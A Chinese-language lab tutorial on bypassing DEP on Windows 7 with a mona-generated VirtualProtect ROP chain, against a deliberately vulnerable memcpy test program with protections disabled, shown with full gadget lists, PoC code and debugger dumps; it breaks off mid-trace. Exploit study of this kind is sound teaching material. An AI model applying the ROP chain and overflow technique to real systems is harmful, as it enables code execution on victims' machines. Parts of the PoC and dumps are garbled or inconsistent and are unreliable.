

# 通过VirtualProtect绕过DEP

---

Windows Shellcode学习笔记——通过VirtualProtect绕过DEP ,

## 0x00 前言

在掌握了栈溢出的基本原理和利用方法后，接下来就要研究如何绕过Windows系统对栈溢出利用的重重防护，所以测试环境也从xp转到了Win7(相比xp，Win7的防护更全面)。本文将要介绍经典的DEP绕过方法——通过VirtualProtect绕过DEP。

## 0x01 简介

本文将要介绍以下内容：

VS2012的编译配置  
利用Immunity Debugger的mona插件自动获取ROP链  
对ROP链的分析调试  
调用VirtualProtect函数时的Bug及修复

## 0x02 相关概念

**DEP:**

溢出攻击的根源在于计算机对数据和代码没有明确区分，如果将代码放置于数据段，那么系统就会去执行

为了弥补这一缺陷，微软从XP SP2开始支持数据执行保护(Data Exection Prevention)

**DEP保护原理:**

数据所在内存页标识为不可执行，当程序溢出成功转入shellcode时，程序会尝试在数据页面上执行指令，而有了DEP，此时CPU会抛出异常，而不是去执行指令

**DEP四种工作状态:**

Optin  
Optout  
AlwaysOn  
AlwaysOff

**DEP绕过原理:**

如果函数返回地址并不直接指向数据段，而是指向一个已存在的系统函数的入口地址，由于系统函数所在的页面权限是可执行的，这样就不会触发DEP

也就是说，可以在代码区找到替代指令实现shellcode的功能

但是可供利用的替代指令往往有限，无法完整的实现shellcode的功能

于是产生了一个折中方法：通过替代指令关闭DEP，再转入执行shellcode

### 内存页：

x86系统一个内存页的大小为4kb，即0x00001000,4096

### ROP：

面向返回的编程(Return-oriented Programming)

### VirtualProtect:

```
BOOL VirtualProtect{  
LPVOID lpAddress,  
DWORD dwsize,  
DWORD flNewProtect,  
PDWORD lpflOldProtect  
}
```

lpAddress:内存起始地址

dwsize:内存区域大小

flNewProtect:内存属性，PAGE\_EXECUTE\_READWRITE(0x40)

lpflOldProtect:内存原始属性保存地址

### 通过VirtualProtect绕过DEP:

在内存中查找替代指令，填入合适的参数，调用VirtualProtect将shellcode的内存属性设置为可读可写可执行，然后跳到shellcode继续执行

### 0x03 VS2012的编译配置

#### 测试环境：

测试系统： Win 7 x86

编译器： VS2012

build版本： Release

#### 项目属性：

关闭GS  
关闭优化  
关闭SEH  
关闭DEP  
关闭ASLR  
禁用c++异常  
禁用内部函数

## 具体配置方法：

配置属性-c/c++-所有属性

安全检查 否 (*/GS-*)  
启用c++异常 否  
启用内部函数 否  
优化 已禁用 (*/Od*)

配置属性-链接器-所有属性

数据执行保护 (*DEP*) 否 (*/NXCOMPAT:NO*)  
随机基址 否 (*/DYNAMICBASE:NO*)  
映像具有安全异常处理程序 否 (*/SAFESEH:NO*)

## 0x04 实际测试

### 测试1：

测试代码：

```
char shellcode[] =
    "x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41"
    "x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41"
    "x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41"
    "x41x41x41x41x42x43x44x45";
void test()
{
    char buffer[48];
    memcpy(buffer, shellcode, sizeof(shellcode));
}
int main()
{
    printf("ln");
    test();
    return 0;
}
```

注：  
strcpy在执行时遇到0x00会提前截断,为便于测试shellcode，将strcpy换成memcpy，遇到0x00不会被截断

地址	十六进制	反汇编	注释
00401000	55	PUSH EBP	
00401001	8BEC	MOV EBP,ESP	
00401003	83EC 30	SUB ESP,30	
00401006	6A 39	PUSH 39	
00401008	68 20304000	PUSH deptest.00403020	
0040100D	8D45 D0	LEA EAX,DWORD PTR SS:[EBP-30]	
00401010	50	PUSH EAX	
00401011	FF15 94204000	CALL DWORD PTR DS:[&MSUCR110.memcpy]	dest memcpy
00401017	83C4 0C	ADD ESP,0C	
0040101A	8BE5	MOV ESP,EBP	
0040101C	5D	POP EBP	
0040101D	C3	RETN	
0040101E	CC	INT3	
0040101F	CC	INT3	
00401020	55	PUSH EBP	
00401021	8BEC	MOV EBP,ESP	
00401023	68 00214000	PUSH deptest.00402100	
00401028	FF15 8C204000	CALL DWORD PTR DS:[&MSUCR110.printf]	printf
0040102E	83C4 04	ADD ESP,4	
00401031	E8 CAFFFFFF	CALL deptest.00401000	
00401036	33C0	XOR EAX,EAX	
00401038	5D	POP EBP	
00401039	C3	RETN	
0040103A	B8 4D5A0000	MOV EAX,5A4D	
0040103F	66:3905 00004000	CMP WORD PTR DS:[40000],AX	
00401046	74 04	JE SHORT deptest.0040104C	
00401048	33C0	XOR EAX,EAX	
0040104A	EB 34	JMP SHORT deptest.00401000	
0040104C	8B0D 3C004000	MOV ECX,DWORD PTR DS:[40003C]	
00401052	81B9 00004000 504500	CMP DWORD PTR DS:[ECX+400000],4550	
0040105C	75 EA	JNZ SHORT deptest.00401048	

返回到 45444342

寄存器 <FPU>
EAX 0010FF10 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAA"
ECX 00000000
EDX 00000039
EBX 00000000
ESP 0018FF44 ASCII "BCDE"
EBP 41414141
ESI 00000001
EDI 00000000
EIP 0040101D deptest.0040101D
C 0 ES 002B 32 0<FFFFFFFF>
P 0 CS 0023 32 0<FFFFFFFF>
A 1 SS 002B 32 0<FFFFFFFF>
Z 0 DS 002B 32 0<FFFFFFFF>
S 0 FS 0053 32 7EFD000<FFF>
T 0 GS 002B 32 0<FFFFFFFF>
D 0
O 0 LastErr ERROR_SUCCESS <00000000>
EPL 00000212 <NO,NB,NE,A,NS,PO,GE,G>
ST0 empty 0.0
ST1 empty 0.0
ST2 empty 0.0
ST3 empty 0.0
ST4 empty 0.0
ST5 empty 0.0
ST6 empty 0.0
ST7 empty 0.0
FSI 0000 Cond 0 0 0 0 Err 0 0 0 0 0 0 0 0 <GT>
FCW 027F Prec NEAR.53 Mask 1 1 1 1 1 1

地址	十六进制	ASCII	地址	值	注释
00403020	41 41 41 41 41 41 41 41 41 41 41 41 41 41 41	AAAAAAAAAAAAAAAA	0018FF44	45444342	
00403030	41 41 41 41 41 41 41 41 41 41 41 41 41 41 41	AAAAAAAAAAAAAAAA	0018FF48	0018FF00	
00403040	41 41 41 41 41 41 41 41 41 41 41 41 41 41 41	AAAAAAAAAAAAAAAA	0018FF4C	0040123B	返回到 deptest.0040123B 来自 deptest.00401020
00403050	41 41 41 41 42 43 44 45 00 00 00 00 00 00 00	AAAABCADE.....	0018FF50	00000001	
00403060	00 00 00 00 00 00 00 00 01 00 00 00 30 76 4B 00	.....@...0陵.	0018FF54	004B9630	
00403070	E8 9E 4B 00 00 00 00 00 00 00 00 00 00 00 00	55KK.....	0018FF58	004B9E08	
00403080	00 00 00 00 00 00 00 00 00 00 00 00 00 00 00	.....	0018FF5C	C5F1E5B	
00403090	00 00 00 00 00 00 00 00 00 00 00 00 00 00 00	.....	0018FF60	00000000	
004030A0	00 00 00 00 00 00 00 00 00 00 00 00 00 00 00	.....	0018FF64	00000000	
004030B0	00 00 00 00 00 00 00 00 00 00 00 00 00 00 00	.....	0018FF68	7EFD0000	
004030C0	00 00 00 00 00 00 00 00 00 00 00 00 00 00 00	.....	0018FF6C	00000000	
004030D0	00 00 00 00 00 00 00 00 00 00 00 00 00 00 00	.....	0018FF70	0018FF5C	

如上图，成功将返回地址覆盖为0x45444342

测试2：

shellcode起始地址为0x00403020

```
PUSH 1
POP ECX
```

对应的机器码为0x0059016A

将返回地址覆盖为shellcode起始地址

shellcode实现如下操作：

```
PUSH 1
POP ECX
```

其他位用0x90填充

c代码如下：



00403020	6A 01	PUSH 1	EAX 0018FF10
00403022	59	POP ECX	ECX 00000000
00403023	90	NOP	EDX 00000039
00403024	90	NOP	EBX 00000000
00403025	90	NOP	ESP 0018FF48
00403026	90	NOP	EBP 90909090
00403027	90	NOP	ESI 00000001
00403028	90	NOP	EDI 00000000
00403029	90	NOP	EIP 00403020 deptest.00403020
0040302A	90	NOP	C 0 ES 002B 32 17 0<FFFFFFFF>
0040302B	90	NOP	P 0 CS 0023 32 17 0<FFFFFFFF>
0040302D	90	NOP	A 1 SS 002B 32 17 0<FFFFFFFF>
0040302E	90	NOP	Z 0 DS 002B 32 17 0<FFFFFFFF>
0040302F	90	NOP	S 0 FS 0053 32 17 7EFD000<FFF>
00403030	90	NOP	T 1 GS 002B 32 17 0<FFFFFFFF>
00403031	90	NOP	D 0
00403032	90	NOP	O 0 LastErr ERROR_SUCCESS <00000000>
00403033	90	NOP	EFL 00010312 <NO,NB,NE,A,NS,PO,GE,G>
00403034	90	NOP	ST0 empty 0.0
00403035	90	NOP	ST1 empty 0.0
00403036	90	NOP	ST2 empty 0.0
00403037	90	NOP	ST3 empty 0.0
00403038	90	NOP	ST4 empty 0.0
00403039	90	NOP	ST5 empty 0.0
0040303A	90	NOP	ST6 empty 0.0
0040303B	90	NOP	ST7 empty 0.0
0040303C	90	NOP	3 2 1 0 ESP 0 0 Z D I
0040303D	90	NOP	FST 0000 Cond 0 0 0 0 Err 0 0 0 0 0 0 0 0 <GT>
0040303E	90	NOP	FCW 027F Prec NEAR.53 Mask 1 1 1 1 1 1
0040303F	90	NOP	

## 测试4:

## 下载安装Immunity Debugger

下载mona插件，下载地址如下：

<https://github.com/corelan/mona>

将mona.py放于C:\Program Files\Immunity Debugger\PyCommands下

启动Immunity Debugger, 打开test.exe

使用mona插件自动生成rop链，输入：

```
!mona rop -m *.dll -cp nonull
```

如图

```
00403098 6A 01 59 90 90 90 90 90 j0V???
```

```
004030A0 90 90 90 90 90 90 90 90 ????
```

```
004030A8 90 90 90 90 01 00 00 00 ???.
```

```
004030B0 FE FF FF FF FF FF FF ?
```

```
004030B8 4E E6 40 BB B1 19 BF 44 Next: 40 + 20
```

```
004030C0 00 00 00 00 00 00 00 00 .....
```

```
004030C8 00 00 00 00 00 00 00 00 .....
```

```
004030D0 00 00 00 00 00 00 00 00 .....
```

```
004030D8 00 00 00 00 00 00 00 00 .....
```

```
004030E0 00 00 00 00 00 00 00 00 .....
```

```
004030E8 00 00 00 00 00 00 00 00 .....
```

```
004030F0 00 00 00 00 00 00 00 00 .....
```

```
004030F8 00 00 00 00 00 00 00 00 .....
```

```
00403100 00 00 00 00 00 00 00 00 .....
```

```
00403108 00 00 00 00 00 00 00 00 .....
```

```
00403110 00 00 00 00 00 00 00 00 .....
```

```
00403118 00 00 00 00 00 00 00 00 .....
```

```
00403120 00 00 00 00 00 00 00 00 .....
```

```
00403128 00 00 00 00 00 00 00 00 .....
```

```
00403130 00 00 00 00 00 00 00 00 .....
```

```
00403138 00 00 00 00 00 00 00 00 .....
```

```
!mona rop -m *.dll -cp nonull
```

```
Analysing deptest: 16 heuristical procedures, 10 calls to known, 3
```

mona会搜寻所有的DLL，用于构造rop链

执行命令后在C:\Program Files\Immunity Inc\Immunity Debugger下生成文件rop.txt、rop\_chains.txt、rop\_suggestions.txt、stackpivot.txt

查看rop\_chains.txt，会列出可用来关闭DEP的ROP链，选择VirtualProtect()函数

```
Register setup for VirtualProtect() :
-----
EAX = NOP (0x90909090)
ECX = lpOldProtect (ptr to W address)
EDX = NewProtect (0x40)
EBX = dwSize
ESP = lpAddress (automatic)
EBP = ReturnTo (ptr to jmp esp)
ESI = ptr to VirtualProtect()
EDI = ROP NOP (RETN)
--- alternative chain ---
EAX = ptr to &VirtualProtect()
ECX = lpOldProtect (ptr to W address)
EDX = NewProtect (0x40)
EBX = dwSize
ESP = lpAddress (automatic)
EBP = POP (skip 4 bytes)
ESI = ptr to JMP [EAX]
EDI = ROP NOP (RETN)
+ place ptr to "jmp esp" on stack, below PUSHAD
-----
*** [ C ] ***

#define CREATE_ROP_CHAIN(name, ...) \
int name##_length = create_rop_chain(NULL, ##__VA_ARGS__); \
unsigned int name[name##_length / sizeof(unsigned int)]; \
create_rop_chain(name, ##__VA_ARGS__);

int create_rop_chain(unsigned int *buf, unsigned int )
{
    // rop chain generated with mona.py - www.corelanc.be
    unsigned int rop_gadgets[] = {
        0x77217edd, // POP EAX // RETN [kernel32.dll]
        0x77171910, // ptr to &VirtualProtect() [IAT kernel32.dll]
        0x75d7e9dd, // MOV EAX,DWORD PTR DS:[EAX] // RETN [KERNELBASE.dll]
        0x779f9dca, // XCHG EAX,ESI // RETN [ntdll.dll]
        0x779cdd30, // POP EBP // RETN [ntdll.dll]
        0x75dac58d, // & call esp [KERNELBASE.dll]
        0x693a7031, // POP EAX // RETN [MSVCR110.dll]
        0xffffdfff, // Value to negate, will become 0x00000201
        0x69354484, // NEG EAX // RETN [MSVCR110.dll]
        0x75da655d, // XCHG EAX,EBX // ADD BH,CH // DEC ECX // RETN 0x10 [KERNELBASE.dll]
        0x69329bb1, // POP EAX // RETN [MSVCR110.dll]
        0x41414141, // Filler (RETN offset compensation)
        0x41414141, // Filler (RETN offset compensation)
        0x41414141, // Filler (RETN offset compensation)
        0x41414141, // Filler (RETN offset compensation)
        0xffffffff, // Value to negate, will become 0x00000040
        0x69354484, // NEG EAX // RETN [MSVCR110.dll]
        0x771abd3a, // XCHG EAX,EDX // RETN [kernel32.dll]
        0x6935a7c0, // POP ECX // RETN [MSVCR110.dll]
        0x693be00d, // &Writable location [MSVCR110.dll]
        0x779a4b9a, // POP EDI // RETN [ntdll.dll]
        0x69354486, // RETN (ROP NOP) [MSVCR110.dll]
        0x693417cb, // POP EAX // RETN [MSVCR110.dll]
        0x90909090, // nop
        0x69390267, // PUSHAD // RETN [MSVCR110.dll]
    };
    if(buf != NULL) {
        memcpy(buf, rop_gadgets, sizeof(rop_gadgets));
    };
    return sizeof(rop_gadgets);
}
```

如上图，成功构建ROP链

注：

不同环境有可能无法获得完整参数，需要具体环境具体分析

对应的测试poc修改如下：

```
unsigned int shellcode[]=
{
    0x90909090,0x90909090,0x90909090,0x90909090,
    0x90909090,0x90909090,0x90909090,0x90909090,
    0x90909090,0x90909090,0x90909090,0x90909090,
    0x90909090,
    0x77217edd, // POP EAX // RETN [kernel32.dll]
    0x77171910, // ptr to &VirtualProtect() [IAT kernel32.dll]
    0x75d7e9dd, // MOV EAX,DWORD PTR DS:[EAX] // RETN [KERNELBASE.dll]
    0x779f9dca, // XCHG EAX,ESI // RETN [ntdll.dll]
    0x779cdd30, // POP EBP // RETN [ntdll.dll]
    0x75dac58d, // & call esp [KERNELBASE.dll]
    0x693a7031, // POP EAX // RETN [MSVCR110.dll]
    0xffffffff, // Value to negate, will become 0x00000201
    0x69354484, // NEG EAX // RETN [MSVCR110.dll]
    0x75da655d, // XCHG EAX,EBX // ADD BH,CH // DEC ECX // RETN 0x10 [KER
NELBASE.dll]
    0x69329bb1, // POP EAX // RETN [MSVCR110.dll]
    0x41414141, // Filler (RETN offset compensation)
    0x41414141, // Filler (RETN offset compensation)
    0x41414141, // Filler (RETN offset compensation)
    0x41414141, // Filler (RETN offset compensation)
    0xffffffffc0, // Value to negate, will become 0x00000040
    0x69354484, // NEG EAX // RETN [MSVCR110.dll]
    0x771abd3a, // XCHG EAX,EDX // RETN [kernel32.dll]
    0x6935a7c0, // POP ECX // RETN [MSVCR110.dll]
    0x693be00d, // &Writable location [MSVCR110.dll]
    0x779a4b9a, // POP EDI // RETN [ntdll.dll]
    0x69354486, // RETN (ROP NOP) [MSVCR110.dll]
    0x693417cb, // POP EAX // RETN [MSVCR110.dll]
    0x90909090, // nop
    0x69390267, // PUSHAD // RETN [MSVCR110.dll]
    0x9059016A, //PUSH 1 // POP ECX // NOP
    0x90909090,
    0x90909090,
    0x90909090,
    0x90909090
};

void test()
```



```

{
    char buffer[48];
    printf("3n");
    memcpy(buffer, shellcode, sizeof(shellcode));
}

int main()
{
    printf("1n");
    test();
    return 0;
}

```

其中0x9059016A为PUSH 1;POP ECX;NOP;的机器码，如果绕过DEP，该指令将会成功执行

编译后在OllyDbg中调试

单步跟踪到CALL KERNELBA.VirtualProtectEX，查看堆栈

可获得传入的函数参数

地址	十六进制	反汇编	注释	寄存器 (FPU)	
75D7E4F6	8BFF	MOV EDI,EDI		EAX 90909090	
75D7E4F8	55	PUSH EBP		ECX 693BE000 ASCII "ationByHandle"	
75D7E4F9	8BEC	MOV EBP,ESP		EDX 00000040	
75D7E4FB	FF75 14	PUSH DWORD PTR SS:[EBP+14]		EBX 00000201	
75D7E4FE	FF75 10	PUSH DWORD PTR SS:[EBP+10]		ESP 0012FF70	
75D7E501	FF75 0C	PUSH DWORD PTR SS:[EBP+C]		EBP 0012FF8C	
75D7E504	FF75 08	PUSH DWORD PTR SS:[EBP+8]		ESI 75D7E4F6 KERNELBA.VirtualProtect	
75D7E507	6A FF	PUSH -1		EDI 69354486 MSUCR110.69354486	
75D7E509	E8 09000000	CALL KERNELBA.VirtualProtectEx		EIP 75D7E509 KERNELBA.75D7E509	
75D7E50E	5D	POP EBP		C 1 ES 0023 32 位 0<FFFFFFFF>	
75D7E50F	C2 1000	RETN 10		P 0 CS 001B 32 位 0<FFFFFFFF>	
75D7E512	90	NOP		A 0 SS 0023 32 位 0<FFFFFFFF>	
75D7E513	90	NOP		Z 0 DS 0023 32 位 0<FFFFFFFF>	
75D7E514	90	NOP		S 0 FS 003B 32 位 7FFDE000<FFF>	
75D7E515	90	NOP		T 0 GS 0000 NULL	
75D7E516	90	NOP		D 0	
75D7E517	8BFF	MOV EDI,EDI		0 0 LastErr ERROR_SUCCESS <00000000>	
75D7E517=KERNELBA.VirtualProtectEx				EPL 00000203 <NO,B,NE,BE,NS,PO,C,E,G>	
				STA 00000000	
地址	十六进制	ASCII	地址	值	注释
00402000	2B B0 1B 77 20 F0 9C 77 CB E0 1A 77 44 FE 1B 77	+?w 依w前+?D?w	0012FF78	FFFFFFFF	SEH 链尾部
00402010	12 F2 1B 77 A7 F2 1B 77 4C 32 9D 77 B4 0D 1C 77	??w +wL2?w	0012FF7C	0012FFA8	SE 处理器
00402020	00 00 00 00 0F 0F 39 69 10 6E 36 69 53 FA 31 69	...??9?n61S?i	0012FF80	00000201	Size = 201 <513.>
00402030	37 FA 31 69 34 86 3B 69 48 87 3B 69 40 86 3B 69	??i4?iH?iE?i	0012FF84	00000040	NewProtect = PAGE_EXECUTE_READWRITE
00402040	24 91 38 69 39 7B 31 69 9B 0D 32 69 E8 FF 2F 69	??i9<1i?2i?/i	0012FF88	693BE000	OldProtect = MSUCR110.693BE000
00402050	3F 04 30 69 52 3A 30 69 84 6C 31 69 59 F9 38 69	?*0iR:0i?iY?i	0012FF8C	75DAC58D	KERNELBA.75DAC58D
00402060	57 7F 31 69 F4 45 30 69 B7 28 39 69 DD 00 39 69	Woi1i?0i?9i?9i	0012FF90	75DAC58D	KERNELBA.75DAC58D
00402070	C8 00 39 69 64 71 36 69 2B 0F 32 69 AE 70 31 69	?9idq6i+*2i?iLi	0012FF94	0012FFA8	
00402080	68 85 31 69 39 71 36 69 26 08 39 69 B0 E2 2F 69	h?i9q6i8?i?i?i	0012FF98	00000201	
00402090	C3 FF 2F 69 F4 ED 36 69 00 00 00 00 00 00 00 00	?/i?6i.....	0012FF9C	00000040	
004020A0	09 11 40 00 00 00 00 00 00 00 00 00 00 10 40 00	?e.....P>e.	0012FFA0	693BE000	ASCII "ationByHandle"
004020B0	0B 15 40 00 04 13 40 00 00 00 00 00 00 00 00 00	8Se.*?e.....	0012FFA4	90909090	
004020C0	00 00 00 00 42 87 CB 58 00 00 00 00 02 00 00 00	...B?X.....	0012FFA8	0059016A	
004020D0	65 00 00 00 50 21 00 00 50 0F 00 00 00 00 00 00	e...P!...Pw.....	0012FFAC	90909090	
004020E0	42 87 CB 58 00 00 00 00 0C 00 00 00 10 00 00 00	B?X.....	0012FFB0	90909090	
004020F0	B8 21 00 00 B8 0F 00 00 33 00 00 00 31 0A 00 00	?...?..3...1....	0012FFB4	90909090	
00402100	F8 30 40 00 48 31 40 00 48 00 00 00 00 00 00 00	?e.H1e.H.....	0012FFB8	90909090	
00402110	00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00	.....	0012FFBC	0012FFA0	
00402120	00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00	.....	0012FFC0	00000000	
00402130	00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00	.....	0012FFC4	FFFFFFFF	
00402140	00 00 00 00 B8 30 40 00 00 00 00 00 00 00 00 00	...?e.....	0012FFC8	7798D74D	ntdll.7798D74D

如上图，不巧的是shellcode覆盖了SEH链

这样会导致传入VirtualProtectEX函数的参数不正确，调用失败，猜测调用VirtualProtectEX函数的返回值为0

地址	十六进制	反汇编	注释	寄存器 <CPU>	
75D7E4F6	8BFF	MOV EDI,EDI		EAX 00000000	
75D7E4F8	55	PUSH EBP		ECX 7FFDE000	
75D7E4F9	8BEC	MOV EBP,ESP		EDX 000001E7	
75D7E4FB	FF75 14	PUSH DWORD PTR SS:[EBP+14]		EBX 00000201	
75D7E4FE	FF75 10	PUSH DWORD PTR SS:[EBP+10]		ESP 0012FF8C	
75D7E501	FF75 0C	PUSH DWORD PTR SS:[EBP+C]		EBP 0012FF8C	
75D7E504	FF75 08	PUSH DWORD PTR SS:[EBP+8]		ESI 75D7E4F6 KERNELBA.VirtualProtect	
75D7E507	6A FF	PUSH -1		EDI 69354486 MSUCR10.69354486	
75D7E509	E8 09000000	CALL KERNELBA.VirtualProtectEx		EIP 75D7E50E KERNELBA.75D7E50E	
75D7E50E	5D	POP EBP	KERNELBA.75DAC58D	C 0 ES 0023 32 位 0(FFFFFFFF)	
75D7E50F	C2 1000	RETN 10		P 1 CS 001B 32 位 0(FFFFFFFF)	
75D7E512	90	NOP		A 0 SS 0023 32 位 0(FFFFFFFF)	
75D7E513	90	NOP		Z 1 DS 0023 32 位 0(FFFFFFFF)	
75D7E514	90	NOP		S 0 FS 003B 32 位 7FFDE000(FFF)	
75D7E515	90	NOP		T 0 GS 0000 NULL	
75D7E516	90	NOP		D 0	
75D7E517	8BFF	MOV EDI,EDI		O 0 LastErr ERROR_INVALID_ADDRESS (000001E7)	
堆栈 [0012FF8C]-75DAC58D <KERNELBA.75DAC58D>				EFL 00000246 <NO,NB,E,BE,NS,PE,GE,LE>	
EBP=0012FF8C				STA empty 0 0	
地址	十六进制	ASCII	地址	值	注释
00402000	2B B0 1B 77 20 F0 9C 77 CB E0 1A 77 44 FE 1B 77	?w 体肃?wD?w	0012FF8C	75DAC58D	KERNELBA.75DAC58D
00402010	12 F2 1B 77 A7 F2 1B 77 4C 32 9D 77 B4 0D 1C 77	?w ?wL2?w	0012FF90	75DAC58D	KERNELBA.75DAC58D
00402020	00 00 00 0F 39 69 10 6E 36 69 53 FA 31 69	....w9ibn6is?i	0012FF94	0012FFA8	0012FFA8
00402030	37 FA 31 69 34 86 3B 69 48 87 3B 69 40 86 3B 69	??i4?iH?i0?i	0012FF98	00000201	00000201
00402040	24 F1 38 69 39 7B 31 69 9B 0D 32 69 F8 FE 2F 69	??i9ci12?zi	0012FF9C	00000040	00000040

如上图，验证上面的判断，EAX寄存器表示返回值，返回值为0，修改内存属性失败

**解决思路：**

我们需要扩大栈空间，将SEH链下移，确保shellcode不会覆盖到SEH链

**解决方法:**

修改源代码，通过申请空间的方式下移SEH链

## 测试5:

关键代码如下：

[illegible]

编译程序，再次放在OllyDbg中调试

单步跟踪到CALL KERNELBA.VirtualProtectEX, 查看堆栈

如图

地址	十六进制	反汇编	注释	寄存器 <FPU>
75D7E4F6	8BFF	MOV EDI,EDI		EAX 90909090
75D7E4F8	55	PUSH EBP		ECX 693BE00D ASCII "ationByHandle"
75D7E4F9	8BEC	MOV EBP,ESP		EDX 00000040
75D7E4FB	FF75 14	PUSH DWORD PTR SS:[EBP+14]		EBX 00000201
75D7E4FE	FF75 10	PUSH DWORD PTR SS:[EBP+10]		ESP 0012FEFC
75D7E501	FF75 0C	PUSH DWORD PTR SS:[EBP+C]		EBP 0012FF10
75D7E504	FF75 08	PUSH DWORD PTR SS:[EBP+8]		ESI 75D7E4F6 KERNELBA.VirtualProtect
75D7E507	6A FF	PUSH -1		EDI 69354486 MSUCR110.69354486
75D7E509	E8 09000000	CALL KERNELBA.VirtualProtectEx		EIP 75D7E509 KERNELBA.75D7E509
75D7E50E	5D	POP EBP		C 1 ES 0023 32 位 0(FFFFFFFF)
75D7E50F	C2 1000	RETN 10		P 0 CS 001B 32 位 0(FFFFFFFF)
75D7E512	90	NOP		A 0 SS 0023 32 位 0(FFFFFFFF)
75D7E517=KERNELBA.VirtualProtectEx				Z 0 DS 0023 32 位 0(FFFFFFFF)
				S 0 FS 003B 32 位 7FFDF000(FFF)
				T 0 GS 0000 NULL
地址	十六进制	反汇编	注释	寄存器 <FPU>
00402000	2B B0 1B 77 20 F0 9C 77 CB E0 1A 77 44 FE 1B 77	+?w 体w前+?D?w		0012FEFC FFFFFFFF hProcess = FFFFFFFF
00402010	12 F2 1B 77 A7 F2 1B 77 4C 32 9D 77 B4 0D 1C 77	+?w +wL2?w		0012FF00 0012FF2C Address = 0012FF2C
00402020	00 00 00 00 0F 0F 39 69 10 6E 36 69 53 FA 31 69	....w?i>n6iS?i		0012FF04 00000201 Size = 201 (513.)
00402030	37 FA 31 69 34 86 3B 69 48 87 3B 69 40 86 3B 69	??i4?iH?i?i		0012FF08 00000040 NewProtect = PAGE_EXECUTE_READWRITE
00402040	24 91 38 69 39 7B 31 69 9B 0D 32 69 E8 FF 2F 69	??i9?i?i?i?i		0012FF0C 693BE00D pOldProtect = MSUCR110.693BE00D
00402050	3F 04 30 69 52 3A 30 69 84 6C 31 69 59 F9 38 69	??0iR:0i?i1iY?i		0012FF10 75DAC58D KERNELBA.75DAC58D
00402060	57 7F 31 69 F4 45 30 69 B7 28 39 69 DD 00 39 69	??0i?i?i?i?i?i		0012FF14 75DAC58D KERNELBA.75DAC58D
00402070	C8 00 39 69 64 71 36 69 2B 0F 32 69 AE 70 31 69	??idq6i+?2i?i		0012FF18 0012FF2C
00402080	68 85 31 69 39 71 36 69 26 08 39 69 B0 E2 2F 69	??i9q6i?i?i?i		0012FF1C 00000201
00402090	C3 FF 2F 69 F4 ED 36 69 00 00 00 00 00 00 00 00	?/??6i.....		0012FF20 00000040
004020A0	23 11 40 00 00 00 00 00 00 00 00 00 00 00 00 00	#?.....j?e.		0012FF24 693BE00D ASCII "ationByHandle"
004020B0	1B 15 40 00 1E 13 40 00 00 00 00 00 00 00 00 00	+?e.A?e.....		0012FF28 90909090
004020C0	00 00 00 00 74 88 CB 58 00 00 00 00 00 00 00 00	....t?X.....0...		0012FF2C 0059016A
004020D0	65 00 00 00 C8 21 00 00 C8 0F 00 00 00 00 00 00	e.....?.....		0012FF30 90909090
004020E0	74 88 CB 58 00 00 00 00 0C 00 00 00 00 00 00 00	t?X.....?.....		0012FF34 90909090
004020F0	30 22 00 00 30 10 00 00 33 0A 00 00 31 0A 00 00	0"-..0...3...1...		0012FF38 90909090
00402100	90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90	停停停停停停停停		0012FF3C 90909090
00402110	90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90	停停停停停停停停		0012FF40 004030E0 deptest.004030E0
00402120	90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90	停停停停停停停停		0012FF44 6931FA4B 返回到 MSUCR110.6931FA4B
00402130	90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90	停停停停停停停停		0012FF48 0012FF88
00402140	90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90	停停停停停停停停		0012FF4C 0040126B 返回到 deptest.0040126B 来自 deptest.00401030
00402150	90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90	停停停停停停停停		0012FF50 00000001
00402160	90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90	停停停停停停停停		0012FF54 0018EEF8
00402170	00 00 00 00 F8 30 40 00 48 31 40 00 00 00 00 00	.....?e.Hi0.....		0012FF58 0018F438
00402180	48 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00	H.....		0012FF5C A5703962
00402190	00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00	.....		0012FF60 00000000
004021A0	00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00	.....		0012FF64 00000000
004021B0	00 00 00 00 00 00 00 00 00 00 00 00 00 B8 30 40 00	.....?e?		0012FF68 7FFDF000
004021C0	00 00 00 00 00 00 00 00 00 52 53 44 53 52 01 F6 04	.....RSD\$R??		0012FF6C 00000000
004021D0	B6 EF F5 48 AC 6F EE 46 4C 7D 0D 71 01 00 00 00 00	讹错译读L>.q0...		0012FF70 0012FF5C
004021E0	63 3A 5C 75 73 65 72 73 5C 31 5C 64 6F 63 75 D0	c:Users\N\docum		0012FF74 00000446
004021F0	65 6E 74 73 5C 76 69 73 75 61 6C 20 73 74 75 64	ents\visual stud		0012FF78 0012FFC4 指向下一个 SEH 记录的指针
00402200	69 6F 20 32 30 31 32 5C 50 72 6F 6A 65 63 74 73	io 2012\Projects		0012FF7C 004016E9 SE 处理器

SEH链成功“下移”，位于高地址，未被shellcode覆盖

此时传入VirtualProtectEX函数的参数正确

按F8单步执行，查看结果

地址	十六进制	反汇编	注释	寄存器 <FPU>
75D7E4F6	8BFF	MOV EDI,EDI		EAX 00000000
75D7E4F8	55	PUSH EBP		ECX 7FFDF000
75D7E4F9	8BEC	MOV EBP,ESP		EDX 000001E7
75D7E4FB	FF75 14	PUSH DWORD PTR SS:[EBP+14]		EBX 00000201
75D7E4FE	FF75 10	PUSH DWORD PTR SS:[EBP+10]		ESP 0012FF10
75D7E501	FF75 0C	PUSH DWORD PTR SS:[EBP+C]		EBP 0012FF10
75D7E504	FF75 08	PUSH DWORD PTR SS:[EBP+8]		ESI 75D7E4F6 KERNELBA.VirtualProtect
75D7E507	6A FF	PUSH -1		EDI 69354486 MSUCR110.69354486
75D7E509	E8 09000000	CALL KERNELBA.VirtualProtectEx		EIP 75D7E50E KERNELBA.75D7E50E
75D7E50E	5D	POP EBP	KERNELBA.75DAC58D	C 0 ES 0023 32 位 0(FFFFFFFF)
